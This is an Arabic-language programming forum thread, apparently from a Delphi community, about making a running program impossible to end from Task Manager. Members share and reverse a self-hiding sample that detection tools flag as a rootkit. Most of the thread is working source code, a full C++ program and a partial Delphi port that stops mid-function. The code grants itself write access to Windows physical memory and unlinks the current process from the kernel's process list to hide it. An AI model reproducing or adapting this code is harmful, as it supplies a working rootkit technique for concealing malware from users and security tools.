إنهاء تطبيق ولا إمكانيه لإنهاء تطبيق

غير كافي...هناك طرق اخرى لانهاء تطبيق...

محمد أقصد إنهائه من Task Manager فقط

أعتقد أني رأيت كود لأخفاء البرنامج من التاسك مانجر.

وهماك كود آخر لإلغاء التاسك مانجر.

والله ولي التوفيق.

أخوك أبوالنور.

شكرا على التعقيب أبوالنور

أنا لاأقصد إخفاء تطبيق فمهما أخفيته راح يظل process id موجود ويمكن إنهاء التطبيق

xc-delphi-cx كتب:

أنا لاأقصد إخفاء تطبيق فمهما أخفيته راح يظل process id موجود ويمكن إنهاء التطبيق

جرب المرفق...هل يظهر PID ؟

Project1.rar

عندي برنامج يعمل hook لـ ZwQuerySystemInformation

في Task Manager نعم يكون البرنامج مختفي تمام

لكن في برنامج مثل a2hijackfree راح يكون ظاهر ومعروف PID

لكن مثل البرنامج اللى أرفقته محمد مارئت عيني أبدااا :rolleyes:

حقيقي لا في Task Manager ولا في a2hijackfree ولا حتى ProcessExplorerNt يظهر شي

أتخيل البرنامج ينهي نفسه وتظل النافذه موجوده :lol:

هل البرنامج يعمل نفس الشي !! hook لـ ZwQuerySystemInformation

فعلا شي جميل :)

لكن ماذا يفعل الزر اليميني واليساري تماما

كاني لاحظت ان اليميني يغلق البرنامج لكن يعود ليعمل من جديد 3 مرات!!!

على كل والله شي جميل :D

بدي اطلب الكود بس خجلان :(

يا سيدي على راحتك

بركي بالمستقبل منصير مثلك :D

أتوقع السيناريو كذا :)

الزر الأيسر:

inject dll 2 Processes

وداخل ملف الربط hook لـ Ntdll

الدوال بالتحديد ماأعلم

الزر الأيمن: uninject

لكن الزر الأيمن مايعمل على فكره

البرنامج يختفي تماما ولا يمكن إرجاعه بهذا الزر

اقتباس

جرب المرفق...هل يظهر PID ؟

يحتاج لبعض التعديلات .. تم إصطياده ومعرفة الـ PID &TID وبالامكان استعمال TerminateProcess للقضاء عليها رغم أن Process explorer يقول انها

اقتباس

<Non-existent Process>

لاحظ الصورة

اقتباس

كاني لاحظت ان اليميني يغلق البرنامج لكن يعود ليعمل من جديد 3 مرات!!!

هو فقط يقوم باستدعاء ShowWindow ..

إن وجدت وقت سأقوم بتحليل البرنامج ولكن أظن البرنامج مضغوط ؟

tmaaa زين دخلت الموضوع راح نوصل لنتيجه :)

لا الملف مو مضغوط Borland Delphi 6.0

السر كله موجود في الوحده HideProcess

بس مااعرف ليش موجود WinInet UrlMon :)

محمد لازم ترد على الموضوع

حين أجد الوقت سأحاول تحليله إن إستطعت ذلك ..

حالياً مشغول بالعمل وفي وقت الفراغ بتحليل Babylon 6.0 .. عملوها ودعموا اللغة العربية . لكن في بضع مشاكل في IE . طبعاً في PDF لم يتم دعمها..

يبدو أن الطريقة المستخدمة هي ما تسمى بـ SSDT ?

بصراحة عندما استعملت IDA وبعد عمل عدة breakpoint ما شد انتباهي استدعاء MapViewOfFile وعند محاولة التتبع لمعرفة ما هو الـ hFileMappingObject الممرر لها .في العادة ذلك الـ handle نحصل عليه من CreateFileMapping and OpenFileMapping لكن لن نجد أي استدعاء و بعد الاستمرار بالتتبع شد إنتباهي الحصول على ZwOpenSection عن طريق GetProcAddress (أيضا حصلنا على RtlInitUnicodeString)

هنا توقفت قليلاً وقلت ابحث في google ربما أجد معلومات وفعلاً قرأت مقال في صفحة صينية بعنوان "Defeating Native API Hooker "

وفيه تم شرح طريقة لإخفاء الـ process عن طريق التحكم بـ "\device\physicalmemory" والكتابة اليها وفيها تم استخدام ZwOpenSection

لا أعلم ان كان هذا البرنامج يعتمد على هذه الطريقة سأحاول التعمق أكثر لاحقاً

على العموم هذا مقال فيه كود قد يفيد مؤقتاً أثناء disassembling . عذراً الموقع صيني وليس لدي الوقت للبحث عن موقع انجليزي (اعتقد انها تكون موجودة في مواقع أخرى)..

https://www.xfocus.net/bbs/index.php?act=SE...15&p=178717

back

تم إكتشاف البرنامج عن طريق IceSWord كما في الصورة

السلام عليكم

لا يوجد اي Hook في المثال المرفق

الطريقة المستعملة في الإخفاء هي كما قال الأخ Cipher...

cipher كتب:

back

تم إكتشاف البرنامج عن طريق IceSWord كما في الصورة

IceSword ليس الوحيد...مثلا gmer ايضا يكتشفه على انه RootKit

ممكن اذا احد يعرف رابط فيه معلومات تتحدث عن الطريقه هذي بالتحديد ويكون خاص بالدلفي

ياليت

اقتباس

IceSword ليس الوحيد...مثلا gmer ايضا يكتشفه على انه RootKit

في البداية أنا وجدته عن طريق Process explorer .. :)

اقتباس

ممكن اذا احد يعرف رابط فيه معلومات تتحدث عن الطريقه هذي بالتحديد ويكون خاص بالدلفي

جرب الكود في الصفحة التي أشرت إليها هو بالسي إن اشتغل معاك قل لي وساحاول تحويله الى دلفي

المشكلة ليس لدي الوقت لتجربته وتحويله حالياً

اوكي راح اجربه cipher

هذا المثال الموجود بالمقال عملته بالـ bcb

مافيه أي خطأ في الكومبايلر

لكن بعد تشغيل البرنامج تظهر لي رسالة الخطأ في النظام :angry: xp sp2

اقتباس

Project2.exe has encountered a problem and needs to close. We are sorry for the inconvenience.

ورسالة الخطأ في نفس البرنامج تظهر بنافذة Console app

printf( "GetProcAddress() failed");

chide.rar

السلام عليكم ورحمة الله وبركاته.

أخي في الله cipher جربت الكود وأعطاني نفس الخطأ.

والله ولي التوفيق.

أخوكم أبو النور.

الكود الموجود في الموقع يعمل بشكل جيد لقد قمت بتجربته

إن المشكلة التي ظهرت لديك بسبب أن define موجودة قبل typedef حيث أن هذه الـ define تستخدم النمط المعرف بتعليمة typedef

لقد قمت بترتيب الكود ليصبح كالتالي

//---------------------------------------------------------------------------
/*-[Windows-NT/2000-Native-API-Reference]-[Gary-Nebbett]-*/
//---------------------------------------------------------------------------
#pragma hdrstop
//---------------------------------------------------------------------------
#pragma package(smart_init)
//---------------------------------------------------------------------------
#include <windows.h>
#include <Aclapi.h>
//---------------------------------------------------------------------------
typedef LONG NTSTATUS;
typedef ULONG ACCESS_MASK;
//---------------------------------------------------------------------------
#define NT_SUCCESS(Status)			 ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH	((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED		   ((NTSTATUS)0xC0000022L)
//---------------------------------------------------------------------------
#define OBJ_INHERIT					0x00000002L
#define OBJ_PERMANENT				  0x00000010L
#define OBJ_EXCLUSIVE				  0x00000020L
#define OBJ_CASE_INSENSITIVE		   0x00000040L
#define OBJ_OPENIF					 0x00000080L
#define OBJ_OPENLINK				   0x00000100L
#define OBJ_KERNEL_HANDLE			  0x00000200L
#define OBJ_VALID_ATTRIBUTES		   0x000003F2L
//---------------------------------------------------------------------------
#define InitializeObjectAttributes(p, n, a, r, s) { (p)->Length = sizeof(OBJECT_ATTRIBUTES); (p)->RootDirectory = r; (p)->Attributes = a; (p)->ObjectName = n; (p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL; }
//---------------------------------------------------------------------------
typedef enum _SYSTEM_INFORMATION_CLASS
{
  SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
//---------------------------------------------------------------------------
typedef struct _IO_STATUS_BLOCK
{
  NTSTATUS Status;
  ULONG	Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
//---------------------------------------------------------------------------
typedef struct _UNICODE_STRING
{
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
//---------------------------------------------------------------------------
typedef struct _SYSTEM_HANDLE_INFORMATION
{
  ULONG	   ProcessId;
  UCHAR	   ObjectTypeNumber;
  UCHAR	   Flags;
  USHORT	  Handle;
  PVOID	   Object;
  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
//---------------------------------------------------------------------------
typedef struct _OBJECT_ATTRIBUTES
{
  ULONG		   Length;
  HANDLE		  RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG		   Attributes;
  PVOID		   SecurityDescriptor;
  PVOID		   SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
//---------------------------------------------------------------------------
typedef NTSTATUS (CALLBACK* ZWOPENSECTION) (OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes);
typedef VOID	 (CALLBACK* RTLINITUNICODESTRING) (IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString);
typedef ULONG	(__stdcall *RTLNTSTATUSTODOSERROR) (IN NTSTATUS Status);
typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION) (IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL);
//---------------------------------------------------------------------------
static RTLNTSTATUSTODOSERROR	RtlNtStatusToDosError	= NULL;
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
static HMODULE				  hModule				  = NULL;
//---------------------------------------------------------------------------
static DWORD GetEprocessFromPid(ULONG PID);
static BOOL LocateNtdllEntry(void);
//---------------------------------------------------------------------------
BOOL HideProcessAtAll();
//---------------------------------------------------------------------------
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION		ZwOpenSection;
HMODULE			  g_hNtDLL			 = NULL;
PVOID				g_pMapPhysicalMemory = NULL;
HANDLE			   g_hMPM			   = NULL;
//---------------------------------------------------------------------------
static DWORD GetEprocessFromPid(ULONG PID)
{
  NTSTATUS				   status;
  PVOID					  buf;
  ULONG					  size;
  ULONG					  NumOfHandle;
  ULONG					  i;
  PSYSTEM_HANDLE_INFORMATION h_info;

  for ( size = 1;; size *= 2 )
  {
	buf = calloc(size, 1);
	if ( !buf )
	{
	  fprintf(stderr, "calloc( %u, 1 ) failed\n", size);
	  goto GetEprocessFromPid_exit;
	}
	status = ZwQuerySystemInformation(SystemHandleInformation, buf, size, NULL);
	if ( !NT_SUCCESS(status) )
	{
	  if ( STATUS_INFO_LENGTH_MISMATCH == status )
	  {
		free(buf);
	  }
	  else
	  {
		printf("ZwQuerySystemInformation() failed");
		goto GetEprocessFromPid_exit;
	  }
	}
	else
	{
	  break;
	}
  }

  NumOfHandle = (ULONG) buf;

  h_info = (PSYSTEM_HANDLE_INFORMATION) ((ULONG) buf + 4);

  for( i = 0; i < NumOfHandle; i++ )
  {
	//if( (h_info.ProcessId == PID) && (h_info.ObjectTypeNumber == 5) && (h_info.Handle == 0x3d8) )
	if( (h_info.ProcessId == PID) && (h_info.ObjectTypeNumber == 5) )
	{
	  printf("Handle:0x%x,OBJECT 0x%x\n\r", h_info.Handle,h_info.Object);
	  return (DWORD) h_info.Object;
	}
  }

GetEprocessFromPid_exit:

  if ( buf != NULL )
  {
	free(buf);
  }
  return FALSE;
}
//---------------------------------------------------------------------------
static BOOL LocateNtdllEntry(void)
{
  BOOL	ret		 = FALSE;
  char	NTDLL_DLL[] = "ntdll.dll";
  HMODULE ntdll_dll;

  ntdll_dll = GetModuleHandle(NTDLL_DLL);
  if ( !ntdll_dll )
  {
	printf("GetModuleHandle() failed");
	return FALSE;
  }

  ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) GetProcAddress(ntdll_dll, "ZwQuerySystemInformation");
  if ( !ZwQuerySystemInformation )
  {
	goto LocateNtdllEntry_exit;
  }

  ret = TRUE;

LocateNtdllEntry_exit:

  if ( !ret )
  {
	printf("GetProcAddress() failed");
  }

  return ret;
}
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
  g_hNtDLL = LoadLibrary("ntdll.dll");
  if ( !g_hNtDLL )
  {
	return FALSE;
  }

  RtlInitUnicodeString = (RTLINITUNICODESTRING) GetProcAddress(g_hNtDLL, "RtlInitUnicodeString");

  ZwOpenSection = (ZWOPENSECTION) GetProcAddress(g_hNtDLL, "ZwOpenSection");

  return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
  if ( g_hNtDLL )
  {
	FreeLibrary(g_hNtDLL);
  }
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
  PACL				 pDacl	= NULL;
  PACL				 pNewDacl = NULL;
  PSECURITY_DESCRIPTOR pSD	  = NULL;
  DWORD				dwRes;
  EXPLICIT_ACCESS	  ea;

  dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pDacl, NULL, &pSD);
  if ( dwRes != ERROR_SUCCESS )
  {
	goto CleanUp;
  }

  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = SECTION_MAP_WRITE;
  ea.grfAccessMode		= GRANT_ACCESS;
  ea.grfInheritance	   = NO_INHERITANCE;
  ea.Trustee.TrusteeForm  = TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType  = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName	= "CURRENT_USER";

  dwRes = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
  if ( dwRes != ERROR_SUCCESS )
  {
	goto CleanUp;
  }

  dwRes = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL);
  if ( dwRes != ERROR_SUCCESS )
  {
	goto CleanUp;
  }

CleanUp:

  if ( pSD )
  {
	LocalFree(pSD);
  }

  if ( pNewDacl )
  {
	LocalFree(pNewDacl);
  }
}
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
  NTSTATUS		  status;
  UNICODE_STRING	physmemString;
  OBJECT_ATTRIBUTES attributes;

  RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

  attributes.Length				   = sizeof(OBJECT_ATTRIBUTES);
  attributes.RootDirectory			= NULL;
  attributes.ObjectName			   = &physmemString;
  attributes.Attributes			   = 0;
  attributes.SecurityDescriptor	   = NULL;
  attributes.SecurityQualityOfService = NULL;

  status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ | SECTION_MAP_WRITE, &attributes);

  if ( status == STATUS_ACCESS_DENIED )
  {
	//status = ZwOpenSection(&g_hMPM, READ_CONTROL | WRITE_DAC, &attributes);
	ZwOpenSection(&g_hMPM, READ_CONTROL | WRITE_DAC, &attributes);
	SetPhyscialMemorySectionCanBeWrited(g_hMPM);
	CloseHandle(g_hMPM);
	status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ | SECTION_MAP_WRITE, &attributes);
  }

  if ( !NT_SUCCESS(status) )
  {
	return NULL;
  }

  g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, 0x30000, 0x1000);

  if ( !g_pMapPhysicalMemory )
  {
	return NULL;
  }

  return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
  ULONG VAddr = (ULONG) addr;
  ULONG PGDE;
  ULONG PTE;
  ULONG PAddr;

  if ( (VAddr >= 0x80000000) && (VAddr < 0xa0000000) )
  {
	PAddr = VAddr - 0x80000000;
	return (PVOID) PAddr;
  }

  PGDE = BaseAddress[VAddr >> 22];

  if ( (PGDE & 1) != 0 )
  {
	ULONG tmp = PGDE & 0x00000080;
	if ( tmp != 0 )
	{
	  PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
	}
	else
	{
	  PGDE = (ULONG) MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
	  PTE  = ((PULONG) PGDE)[(VAddr & 0x003FF000) >> 12];
	  if ( (PTE & 1) != 0 )
	  {
		PAddr = (PTE & 0xFFFFF000) + (VAddr & 0x00000FFF);
		UnmapViewOfFile((PVOID) PGDE);
	  }
	  else
	  {
		return 0;
	  }
	}
  }
  else
  {
	return 0;
  }

  return (PVOID) PAddr;
}
//---------------------------------------------------------------------------
ULONG GetData(PVOID addr)
{
  ULONG  phys = (ULONG)  LinearToPhys((PULONG) g_pMapPhysicalMemory, (PVOID) addr);
  PULONG tmp  = (PULONG) MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
  if ( !tmp )
  {
	return 0;
  }
  ULONG ret = tmp[(phys & 0xFFF) >> 2];
  UnmapViewOfFile(tmp);
  return ret;
}
//---------------------------------------------------------------------------
BOOL SetData(PVOID addr, ULONG data)
{
  ULONG  phys = (ULONG)  LinearToPhys((PULONG) g_pMapPhysicalMemory, (PVOID) addr);
  PULONG tmp  = (PULONG) MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
  if ( !tmp )
  {
	return FALSE;
  }
  tmp[(phys & 0xFFF) >> 2] = data;
  UnmapViewOfFile(tmp);
  return TRUE;
}
//---------------------------------------------------------------------------
BOOL HideProcessAtAll()
{
  if ( InitNTDLL() )
  {
	if ( OpenPhysicalMemory() == 0 )
	{
	  return FALSE;
	}

	OSVERSIONINFO osvi;
	osvi.dwOSVersionInfoSize = sizeof(osvi);
	GetVersionEx(&osvi);

	int f;
	int b;

	if ( osvi.dwMajorVersion == 5 )
	{
	  if ( osvi.dwMinorVersion == 0 ) //win2k...
	  {
		f = 0xa0;
		b = 0xa4;
	  }
	  else if ( osvi.dwMinorVersion == 1 ) //winxp...
	  {
		f = 0x88;
		b = 0x8c;
	  }
	  else if ( osvi.dwMinorVersion == 2 ) //win2003...
	  {
		f = 0x8a;
		b = 0x8e;
	  }
	  else
	  {
		return FALSE;
	  }
	}
	else if ( (osvi.dwMajorVersion == 4) && (osvi.dwMinorVersion == 0) && (osvi.dwPlatformId == 2) ) //NT...
	{
	  f = 0x98;
	  b = 0x9c;
	}
	else
	{
	  return FALSE;
	}

	//ULONG thread  = GetData((PVOID) 0xFFDFF124);
	//ULONG process = GetData((PVOID)(thread + 0x22c));

	LocateNtdllEntry();

	//??????, ?????handle???????, PROCESS ?? ObjectTypeNum ?5...

	OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
	ULONG process = (ULONG) GetEprocessFromPid((DWORD) GetCurrentProcessId());
	ULONG fw = GetData(PVOID (process + f));
	ULONG bw = GetData(PVOID (process + b));
	SetData(PVOID (fw + 4), bw);
	SetData(PVOID (bw), fw);

	UnmapViewOfFile(g_pMapPhysicalMemory);
	CloseHandle(g_hMPM);
	CloseNTDLL();
  }
  return TRUE;
}
//---------------------------------------------------------------------------
int main(int argc, char* argv[])
{
  HideProcessAtAll();
  Sleep(30*1000);
  printf("Hello World!\n");
  return 0;
}
//---------------------------------------------------------------------------

جاري التجريب.

مافي لزوم للتجربه

:) البرنامج الآن 100% يعمل

ألف شكررر fh_feras

لسى باقي دلفنة الكووود :)

التحويل من ++c الى الدلفي فيه متعه :)

بتكتشف أشياء جديده بالدلفي ماتعرفها

عذراً للتأخر ولكن الفترة الماضية انشغلت بـ Adobe SDK ومن ثم بالعمل وما زلت مشغولاً ...

جرب هذا الكود :

يرجى التأكد من الكود فربما يحتاج لتحسينات في بعض الأماكن ...

unit hideprcall;

interface

function MyHideProcessFun: Boolean;

implementation

uses
Windows, SysUtils, Variants, Classes, AclAPI, accCtrl;
type
NTSTATUS = LongInt;

const
//NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
STATUS_INFO_LENGTH_MISMATCH = NTSTATUS($C0000004);
STATUS_ACCESS_DENIED = NTSTATUS($C0000022);
OBJ_INHERIT = $00000002;
OBJ_PERMANENT = $00000010;
OBJ_EXCLUSIVE = $00000020;
OBJ_CASE_INSENSITIVE = $00000040;
OBJ_OPENIF = $00000080;
OBJ_OPENLINK = $00000100;
OBJ_KERNEL_HANDLE = $00000200;
OBJ_VALID_ATTRIBUTES = $000003F2;

type
PIO_STATUS_BLOCK = ^IO_STATUS_BLOCK;
IO_STATUS_BLOCK = record
Status: NTSTATUS;
FObject: DWORD;
end;

PUNICODE_STRING = ^UNICODE_STRING;
UNICODE_STRING = record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;

POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;
OBJECT_ATTRIBUTES = record
Length: DWORD;
RootDirectory: Pointer;
ObjectName: PUNICODE_STRING;
Attributes: DWORD;
SecurityDescriptor: Pointer;
SecurityQualityOfService: Pointer;
end;
PSYSTEM_HANDLE_INFORMATION = ^SYSTEM_HANDLE_INFORMATION;
SYSTEM_HANDLE_INFORMATION = packed record
   ProcessId: dword;
   ObjectTypeNumber: byte;
   Flags: byte;
   Handle: word;
   pObject: pointer;
   GrantedAccess: dword;
   end;

PSYSTEM_HANDLE_INFORMATION_EX = ^SYSTEM_HANDLE_INFORMATION_EX;
SYSTEM_HANDLE_INFORMATION_EX = packed record
   NumberOfHandles: dword;
   Information: array [0..0] of SYSTEM_HANDLE_INFORMATION;
   end;


_SYSTEM_INFORMATION_CLASS = (
		  SystemBasicInformation,
		  SystemProcessorInformation,
		  SystemPerformanceInformation,
		  SystemTimeOfDayInformation,
		  SystemNotImplemented1,
		  SystemProcessesAndThreadsInformation,
		  SystemCallCounts,
		  SystemConfigurationInformation,
		  SystemProcessorTimes,
		  SystemGlobalFlag,
		  SystemNotImplemented2,
		  SystemModuleInformation,
		  SystemLockInformation,
		  SystemNotImplemented3,
		  SystemNotImplemented4,
		  SystemNotImplemented5,
		  SystemHandleInformation,
		  SystemObjectInformation,
		  SystemPagefileInformation,
		  SystemInstructionEmulationCounts,
		  SystemInvalidInfoClass1,
		  SystemCacheInformation,
		  SystemPoolTagInformation,
		  SystemProcessorStatistics,
		  SystemDpcInformation,
		  SystemNotImplemented6,
		  SystemLoadImage,
		  SystemUnloadImage,
		  SystemTimeAdjustment,
		  SystemNotImplemented7,
		  SystemNotImplemented8,
		  SystemNotImplemented9,
		  SystemCrashDumpInformation,
		  SystemExceptionInformation,
		  SystemCrashDumpStateInformation,
		  SystemKernelDebuggerInformation,
		  SystemContextSwitchInformation,
		  SystemRegistryQuotaInformation,
		  SystemLoadAndCallImage,
		  SystemPrioritySeparation,
		  SystemNotImplemented10,
		  SystemNotImplemented11,
		  SystemInvalidInfoClass2,
		  SystemInvalidInfoClass3,
		  SystemTimeZoneInformation,
		  SystemLookasideInformation,
		  SystemSetTimeSlipEvent,
		  SystemCreateSession,
		  SystemDeleteSession,
		  SystemInvalidInfoClass4,
		  SystemRangeStartInformation,
		  SystemVerifierInformation,
		  SystemAddVerifier,
		  SystemSessionProcessesInformation);
	SYSTEM_INFORMATION_CLASS = _SYSTEM_INFORMATION_CLASS;


TZwOpenSection = function(SectionHandle: PHandle;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: POBJECT_ATTRIBUTES): NTSTATUS; stdcall;
TRTLINITUNICODESTRING = procedure(DestinationString: PUNICODE_STRING;
SourceString: PWideChar); stdcall;
TZwQuerySystemInformation=function(
		  SystemInformationClass: SYSTEM_INFORMATION_CLASS;
		  SystemInformation: pointer;
		  SystemInformationLength: ULONG;
		  ReturnLength: PULONG
		  ): NTSTATUS; stdcall;

var
RtlInitUnicodeString: TRTLINITUNICODESTRING = nil;
ZwOpenSection: TZwOpenSection = nil;
ZwQuerySystemInformation:TZwQuerySystemInformation=nil;
g_hNtDLL: THandle = 0;
g_pMapPhysicalMemory: Pointer = nil;
g_hMPM: THandle = 0;
g_hMPM2: THandle = 0;
g_osvi: OSVERSIONINFO;
b_hide: Boolean = false;
//---------------------------------------------------------------------------

function InitNTDLL: Boolean;
begin
g_hNtDLL := LoadLibrary('ntdll.dll');

if 0 = g_hNtDLL then
begin
Result := false;
Exit;
end;

RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');
ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');

Result := True;
end;
//---------------------------------------------------------------------------

procedure CloseNTDLL;
begin
if (0 <> g_hNtDLL) then
FreeLibrary(g_hNtDLL);
g_hNtDLL := 0;
end;
//---------------------------------------------------------------------------

procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);
var
pDacl: PACL;
pSD: PPSECURITY_DESCRIPTOR;
pNewDacl: PACL;
dwRes: DWORD;
ea: EXPLICIT_ACCESS;
begin
pDacl := nil;
pSD := nil;
pNewDacl := nil;

dwRes := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pDacl, nil, pSD);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

ZeroMemory(@ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions := SECTION_MAP_WRITE;
ea.grfAccessMode := GRANT_ACCESS;
ea.grfInheritance := NO_INHERITANCE;
ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType := TRUSTEE_IS_USER;
ea.Trustee.ptstrName := 'CURRENT_USER';

dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

dwRes := SetSecurityInfo

(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil, nil, pNewDacl, nil);

if ERROR_SUCCESS <> dwRes then
begin
if Assigned(pSD) then
LocalFree(Hlocal(pSD^));
if Assigned(pNewDacl) then
LocalFree(HLocal(pNewDacl));
end;

end;
//---------------------------------------------------------------------------

function OpenPhysicalMemory: THandle;
var
status: NTSTATUS;
physmemString: UNICODE_STRING;
attributes: OBJECT_ATTRIBUTES;
PhyDirectory: DWORD;
begin
g_osvi.dwOSVersionInfoSize := sizeof(OSVERSIONINFO);
GetVersionEx(g_osvi);

if (5 <> g_osvi.dwMajorVersion) then
begin
Result := 0;
Exit;
end;

case g_osvi.dwMinorVersion of
0: PhyDirectory := $30000;
1: PhyDirectory := $39000;
else
begin
Result := 0;
Exit;
end;
end;

RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory');

attributes.Length := SizeOf(OBJECT_ATTRIBUTES);
attributes.RootDirectory := nil;
attributes.ObjectName := @physmemString;
attributes.Attributes := 0;
attributes.SecurityDescriptor := nil;
attributes.SecurityQualityOfService := nil;

status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);

if (status = STATUS_ACCESS_DENIED) then
begin
ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);

status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
end;

if not (LongInt(status) = 0) then
begin
Result := 0;
Exit;
end;

g_pMapPhysicalMemory := MapViewOfFile(g_hMPM,
FILE_MAP_READ or FILE_MAP_WRITE, 0, PhyDirectory, $1000);

if (g_pMapPhysicalMemory = nil) then
begin
Result := 0;
Exit;
end;

Result := g_hMPM;
end;
//---------------------------------------------------------------------------

function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;
var
VAddr, PGDE, PTE, PAddr, tmp: DWORD;
begin
VAddr := DWORD(addr);
// PGDE := BaseAddress[VAddr shr 22];
PGDE := PULONG(DWORD(BaseAddress) + (VAddr shr 22) * SizeOf(ULONG))^; // Modify by dot.

if 0 = (PGDE and 1) then
begin
Result := nil;
Exit;
end;

tmp := PGDE and $00000080;

if (0 <> tmp) then
begin
PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF);
end
else
begin
PGDE := DWORD(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));
// PTE := (PDWORD(PGDE))[(VAddr and $003FF000) shr 12];
PTE := PDWORD(PGDE + ((VAddr and $003FF000) shr 12) * SizeOf(DWord))^; // Modify by dot.

if (0 = (PTE and 1)) then
begin
Result := nil;
Exit;
end;

PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF);
UnmapViewOfFile(Pointer(PGDE));
end;

Result := Pointer(PAddr);
end;
//---------------------------------------------------------------------------

function GetData(addr: Pointer): DWORD;
var
phys, ret: DWORD;
tmp: PDWORD;
begin
phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_READ or FILE_MAP_WRITE, 0,
phys and $FFFFF000, $1000));

if (nil = tmp) then
begin
Result := 0;
Exit;
end;

// ret := tmp[(phys and $FFF) shr 2];
ret := PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^; // Modify by dot.
UnmapViewOfFile(tmp);

Result := ret;
end;
//---------------------------------------------------------------------------

function SetData(addr: Pointer; data: DWORD): Boolean;
var
phys: DWORD;
tmp: PDWORD;
begin
phys := ULONG(LinearToPhys(g_pMapPhysicalMemory, Pointer(addr)));
tmp := PDWORD(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));

if (nil = tmp) then
begin
Result := false;
Exit;
end;

// tmp[(phys and $FFF) shr 2] := data;
PDWORD(DWORD(tmp) + ((phys and $FFF) shr 2) * SizeOf(DWord))^ := data; // Modify by dot.
UnmapViewOfFile(tmp);

Result := TRUE;
end;
//---------------------------------------------------------------------------
{long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
begin
ExitProcess(0);
return 1;
end }
//---------------------------------------------------------------------------
function GetEprocessFromPid (   PID :ULONG):DWORD;
var
status:NTSTATUS;
buf   :pointer;
size  :ULONG;
NumOfHandle :ULONG;
i:ULONG;
h_info :PSYSTEM_HANDLE_INFORMATION_EX;//PSYSTEM_HANDLE_INFORMATION;
label GetEprocessFromPid_exit;
begin
buf  := nil;
size  := 1;
